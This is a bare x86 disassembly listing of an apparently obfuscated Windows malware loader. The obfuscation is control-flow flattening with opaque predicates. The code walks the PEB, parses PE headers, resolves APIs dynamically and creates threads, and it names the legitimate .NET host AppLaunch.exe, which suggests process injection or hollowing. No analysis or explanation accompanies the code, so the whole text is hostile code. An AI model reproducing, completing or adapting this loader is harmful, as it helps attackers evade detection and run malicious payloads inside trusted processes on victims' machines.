mov ecx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x38]
cmovge edx, eax
mov eax, edx
jmp 0x401c00
mov eax, 0xc979148b
jmp 0x401c00
mov eax, 0x6ba15cf8
jmp 0x401c00
mov eax, 0x137f815b
jmp 0x401c00
mov eax, dword [ebp - 0xa0]
mov dword [eax], 1
mov eax, 0x95f098d3
jmp 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0x1e47f688
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xa401a34e
jmp 0x405aaa
mov eax, 0xad87e78f
jmp 0x401c00
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x1ac]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
mov dword [ebp - 0x1b0], eax
mov eax, 0xd112f16f
jmp 0x401c00
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x174], eax
mov eax, 0x930e5c29
jmp 0x401c00
mov eax, dword [ebp - 0x38]
mov eax, 0x3ddf5324
jmp 0x401c00
mov eax, 0xc0ed0639
jmp 0x401c00
mov eax, 0xf9ba3c57
jmp 0x401c00
mov eax, 0x502ab35c
jmp 0x401c00
mov eax, dword [ebp - 0x44]
mov dword [eax], 2
mov eax, 0xa401a34e
jmp 0x401c00
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x28]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov eax, dword [ebp - 0x6c]
mov eax, 0x967b3f63
jmp 0x401c00
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0xe8], eax
mov eax, 0x661ec8ba
jmp 0x401c00
movzx eax, word [ebp - 0xb6]
mov ecx, dword [ebp - 0xf8]
mov edi, 0x3cbb57d7
mov ebx, 0xe37a61e7
cmp ecx, eax
mov eax, dword [0x5f3410]
setl byte [ebp - 0x7a]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xe37a61e7
jmp 0x404fc8
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x170]
sub ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov eax, 0xbdfcd17d
jmp 0x401c00
mov eax, dword [ebp - 0x34]
mov eax, 0x989be0b7
jmp 0x401c00
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov dword [ebp - 0x1ec], eax
mov eax, 0x23bf77f1
jmp 0x401c00
mov eax, dword [0x5f3410]
mov edi, 0xdfd69061
mov ebx, 0x19f0b105
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x19f0b105
jmp 0x401be2
cmp byte [ebp - 0x83], 0
mov eax, 0x56e867bb
mov ecx, 0x24ab5c62
cmovne eax, ecx
jmp 0x401c00
mov eax, dword [ebp - 0x1d4]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, 0x6a4dcb32
jmp 0x404d49
mov eax, dword [ebp - 0x184]
cmp eax, dword [ebp - 0x188]
mov eax, 0x472f995d
setl byte [ebp - 0x7c]
jmp 0x401c00
mov eax, dword [ebp - 0x24]
mov ecx, 0x20000000
mov edi, 0x95d7988
mov ebx, 0x7ee106bf
mov eax, dword [eax]
and eax, ecx
mov dword [ebp - 0x1c8], eax
mov eax, dword [0x5f3410]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x7ee106bf
jmp 0x401be2
mov eax, dword [ebp - 0x1a4]
mov eax, dword [eax + 0x80]
add eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x10c], eax
mov eax, 0x3d742c49
jmp 0x401c00
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
mov edi, 0x55a415e4
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x61063843
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0xdc]
cmovge eax, edi
jmp 0x401c00
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0x168]
cmp ecx, dword [eax]
mov eax, 0x166290f6
setne byte [ebp - 0x7b]
jmp 0x401c00
mov eax, 0x26343f69
jmp 0x401c00
mov eax, dword [ebp - 0x94]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x94]
vmovups ymm0, ymmword [0x5e66e6]
vmovups ymm1, ymmword [0x5e66ce]
vmovups ymm2, ymmword [0x5e66ae]
mov dword [ecx], eax
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x98]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x98]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
add eax, 0x24
mov dword [ecx], eax
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x9c]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x6c]
setne byte [eax]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x6c]
cmp byte [eax], 0
mov eax, 0x1f858843
setne byte [ebp - 0x82]
jmp 0x401c00
mov eax, dword [0x5f3410]
mov edi, 0x2df27042
mov ebx, 0xd07dfef4
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xd07dfef4
jmp 0x404fc8
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
mov edi, 0xf0210705
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xd905e6ec
jmp 0x40584e
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov word [ebp - 0xe2], ax
mov eax, 0x75981cb3
jmp 0x401c00
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0xc4]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x1c]
mov eax, 0x48eb9e8b
jmp 0x401c00
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov dword [ebp - 0x128], eax
mov eax, 0xe4926785
jmp 0x401c00
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
mov edi, 0x55a415e4
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x253f7190
jmp 0x405a44
mov eax, 0x6727281e
jmp 0x401c00
mov eax, dword [0x5f3410]
mov edi, 0x675a6a8
mov ebx, 0xa2887ec2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xa2887ec2
jmp 0x401be2
cmp byte [ebp - 0x7a], 0
mov eax, 0xc4b5bfba
mov ecx, 0x7f206159
cmovne eax, ecx
jmp 0x401c00
mov eax, 0x51dc8c7b
jmp 0x401c00
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc0]
mov eax, 0x502ab35c
jmp 0x401c00
mov eax, dword [ebp - 0x44]
mov edi, 0xb46715fe
mov ebx, 0xc7a7119c
mov dword [eax], 0x40
mov eax, dword [0x5f3410]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xc7a7119c
jmp 0x401be2
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x1bc], eax
mov eax, 0xe4082f55
jmp 0x401c00
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
add eax, 0x34
mov dword [ebp - 0x16c], eax
mov eax, 0x714127f8
jmp 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0xac1f8d0b
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x7ee106bf
jmp 0x4056f1
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0x35f04350
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xa2887ec2
jmp 0x4056f1
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
mov eax, 0x18c400
call fcn.0043b0e0
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xc0], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xc4], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
mov eax, dword [0x5f3410]
mov ebx, 0x2cddfe63
mov edi, 0x86c9fc92
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x86c9fc92
jmp 0x4058c2
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0xb7e164c7
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x6c30ab83
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, edx
cmp dword [ebp - 0x12c], 0
mov eax, ecx
setne byte [ebp - 0x80]
jmp 0x401c00
mov eax, dword [0x5f3410]
mov edi, 0x372d174
mov ebx, 0x3b5f1de7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x3b5f1de7
jmp 0x401be2
cmp byte [ebp - 0x7e], 0
mov eax, 0xf0434d3a
mov ecx, 0x7d0ce48e
cmovne eax, ecx
jmp 0x401c00
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
mov edi, 0x94a5c25c
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x86882c4e
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0xfc]
cmovge eax, edi
movzx ecx, word [ecx + 2]
mov word [ebp - 0xb6], cx
jmp 0x401c00
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x134], eax
mov eax, 0x96c082ff
jmp 0x401c00
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x164]
mov dword [eax], ecx
mov eax, 0xf5495893
jmp 0x401c00
mov eax, dword [0x5f3410]
mov ebx, 0xc41fd461
mov edi, 0xa9481a2a
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xa9481a2a
jmp 0x405c5f
mov eax, dword [ebp - 0x1d8]
not eax
or eax, 0xdfffffff
cmp eax, 0xffffffff
mov eax, 0x6140daa4
mov ecx, 0x11ebc333
cmove eax, ecx
jmp 0x401c00
mov eax, dword [ebp - 0x24]
mov eax, 0x7f3f8137
jmp 0x401c00
mov eax, dword [ebp - 0x194]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x190]
mov dword [eax], ecx
mov eax, 0x55c09282
jmp 0x401c00
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
mov eax, 0xc41fd461
jmp 0x401c00
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x1d8], eax
mov eax, 0x2f841186
jmp 0x401c00
mov eax, 0x4710d858
jmp 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0x366a38cd
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xcbff083c
jmp 0x405aaa
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, 0x7c262302
jmp 0x401c00
xor esi, esi
mov eax, 0x3189a064
jmp 0x401c00
cmp dword [ebp - 0x1cc], 0
mov eax, 0x3dcbefc
mov ecx, 0xdfecbf3
cmove eax, ecx
jmp 0x401c00
mov eax, dword [ebp - 0x134]
mov ecx, 0x34db237a
mov eax, dword [eax + 0x38]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x38]
cmp dword [eax + 4], 0
mov eax, 0xfacd3722
cmove eax, ecx
jmp 0x401c00
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, 0x91319bd0
jmp 0x401c00
mov eax, dword [0x5f3410]
mov ebx, 0xc2458bb4
mov edi, 0xc7a7119c
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xc7a7119c
jmp 0x405c5f
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
and ecx, eax
mov eax, 0x11089654
mov dword [ebp - 0x1cc], ecx
jmp 0x401c00
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
mov edi, 0xae927c96
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x865dff5e
jmp 0x405a44
mov eax, dword [0x5f3410]
mov ebx, 0x5ead9772
mov edi, 0x19f0b105
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x19f0b105
jmp 0x405c5f
mov eax, dword [ebp - 0x30]
mov edi, 0x46a9f0e8
mov eax, dword [eax]
mov ecx, dword [ebp - 0x128]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0x10]
add eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x124]
mov dword [eax + ecx*4], edx
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x8138c8ce
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x90]
jmp 0x4056ff
push dword [ebp - 0x11c]
push dword [ebp - 0x120]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov eax, 0x5ec57762
jmp 0x401c00
mov eax, dword [0x5f3410]
mov edi, 0x5ec57762
mov ebx, 0x39196949
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x39196949
jmp 0x401be2
mov eax, dword [0x5f3410]
mov edi, 0x5ec7bc8c
mov ebx, 0xca00eebe
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xca00eebe
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
jmp 0x40547a
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x68]
inc eax
mov dword [ecx], eax
mov eax, 0xfe827a1
jmp 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0x967b3f63
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x1e8fd24d
jmp 0x4056f1
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
mov dword [ebp - 0x118], eax
mov eax, 0x669f0d72
jmp 0x401c00
mov eax, 0x4ab78ad8
jmp 0x401c00
mov eax, 0x44a28fe4
jmp 0x401c00
mov eax, dword [ebp - 0x30]
mov eax, 0xe8463395
jmp 0x401c00
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x20]
mov edi, 0x979f6ed8
mov dword [ecx], eax
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xbfb8ce87
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0x20]
cmovge eax, edi
mov ecx, dword [ecx]
cmp dword [ecx], 0x4550
setne byte [ebp - 0x77]
jmp 0x401c00
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
mov edi, 0x3ddf5324
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x778993ef
jmp 0x40584e
mov eax, 0x3486cfd7
jmp 0x401c00
mov eax, 0x2f79c157
jmp 0x401c00
mov eax, dword [0x5f3410]
mov edi, 0xc8f459ee
mov ebx, 0x45bf9bce
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x45bf9bce
jmp 0x401be2
mov eax, dword [ebp - 0x68]
mov edi, 0xa81cb547
mov ebx, 0xe5074b5
mov eax, dword [eax]
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov dword [ebp - 0x188], eax
mov eax, dword [0x5f3410]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xe5074b5
jmp 0x40547a
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x138], eax
mov eax, 0x688db9a3
jmp 0x401c00
mov eax, 0xe4198ecb
jmp 0x401c00
mov eax, dword [0x5f3410]
mov edi, 0x589dc1e4
mov ebx, 0x72a2cea2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x72a2cea2
jmp 0x401be2
mov eax, 0xcf5dd04f
jmp 0x401c00
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0x7fffffff
and ecx, eax
mov eax, 0x394195cc
mov dword [ebp - 0x12c], ecx
jmp 0x401c00
movzx eax, word [ebp - 0xe2]
mov ecx, dword [ebp - 0x1c4]
mov edx, 0xaee4e85a
cmp ecx, eax
mov eax, 0x7391cb14
cmovl eax, edx
jmp 0x401c00
mov eax, 0xa644ea2f
jmp 0x401c00
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0x1e8]
vmovsd xmm0, qword [eax]
mov eax, 0x56e867bb
vmovsd qword [ecx], xmm0
jmp 0x401c00
mov eax, 0xcb77500b
jmp 0x401c00
mov eax, 0xdfd69061
jmp 0x401c00
mov eax, 0x675a6a8
jmp 0x401c00
cmp byte [ebp - 0x79], 0
mov eax, 0x2ceed23e
mov ecx, 0x70e265f2
cmovne eax, ecx
jmp 0x401c00
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x54]
mov eax, 0x13bc239b
jmp 0x401c00
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
mov edi, 0x979f6ed8
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x91319bd0
jmp 0x405a44
mov eax, dword [ebp - 0x28]
mov dword [eax], 5
mov eax, 0xd8ed0bef
jmp 0x401c00
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
mov eax, 0x362ea8f7
jmp 0x401c00
mov eax, dword [0x5f3410]
mov ebx, 0x989be0b7
mov edi, 0x4f86f9ad
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x4f86f9ad
jmp 0x4058ca
mov eax, dword [0x5f3410]
mov ebx, 0xc28278d9
mov edi, 0x9f0f6f62
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x9f0f6f62
jmp 0x405c5f
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
mov eax, 0x438982ab
jmp 0x401c00
mov eax, dword [ebp - 0x44]
mov edi, 0x6266282f
mov ebx, 0xa9481a2a
mov eax, dword [eax]
mov dword [ebp - 0x1dc], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x1e0], eax
mov eax, dword [0x5f3410]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xa9481a2a
jmp 0x401be2
mov eax, dword [ebp - 0x24]
mov eax, 0xac1f8d0b
jmp 0x401c00
mov eax, dword [0x5f3410]
mov ebx, 0x438982ab
mov edi, 0xc3ce870f
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xc3ce870f
jmp 0x4058c2
mov eax, 0xbe21cd50
jmp 0x401c00
mov eax, 0xf8d4a044
jmp 0x401c00
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1b8]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0x10]
add eax, dword [ebp - 0x1b4]
mov ecx, dword [ebp - 0x8c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [eax], 0
mov eax, 0x321c6ec
jmp 0x401c00
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x128]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0x10]
mov ecx, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x74]
add eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x124]
mov dword [eax + ecx*4], edx
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x90]
mov eax, 0x39150088
jmp 0x401c00
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
mov edi, 0xc6f58d1e
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xe5a0d36
jmp 0x405a44
mov eax, dword [ebp - 0x68]
mov eax, dword [0x5f3410]
mov edi, 0xc979148b
mov ebx, 0x578ac121
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x578ac121
sete cl
cmove eax, edi
cmp dword [0x5f340c], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
jmp 0x401c00
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x14c], eax
mov eax, 0x77726538
jmp 0x401c00
mov eax, 0xb754eccf
jmp 0x401c00
mov eax, dword [0x5f3410]
mov ebx, 0x10db5573
mov edi, 0xe3b6f54f
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xe3b6f54f
jmp 0x4058ca
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x1e4]
mov dword [eax], ecx
mov eax, 0x9e8b9b47
jmp 0x401c00
mov eax, dword [ebp - 0xfc]
mov eax, 0x4872ba3f
jmp 0x401c00
mov eax, 0xa1b3e3c7
jmp 0x401c00
mov eax, dword [ebp - 0x58]
mov eax, 0x134821a5
jmp 0x401c00
mov eax, dword [ebp - 0x28]
mov dword [eax], 0xd
mov eax, 0xcbff083c
jmp 0x401c00
mov eax, 0x7a1c0c0e
jmp 0x401c00
mov eax, 0x5f2e143b
jmp 0x401c00
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov eax, dword [eax]
add eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0xcc]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov eax, dword [eax + 4]
add eax, 0xfffffff8
mov dword [ebp - 0x180], eax
mov eax, 0x9e28cb1a
jmp 0x401c00
mov eax, dword [ebp - 0x34]
mov eax, dword [0x5f3410]
mov ebx, 0x9315c69f
mov edi, 0x6fe3c969
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x6fe3c969
jmp 0x4058ca
mov eax, 0xa0b825df
jmp 0x401c00
mov eax, dword [ebp - 0x28]
mov edi, 0xb69d33ed
mov dword [eax], 0xc
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x2d33acb3
jmp 0x405aaa
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0xb258a0fc
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xab8b0814
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x18c], eax
jmp 0x405ab7
mov eax, 0xcbd05f61
jmp 0x401c00
mov eax, dword [ebp - 0x1c]
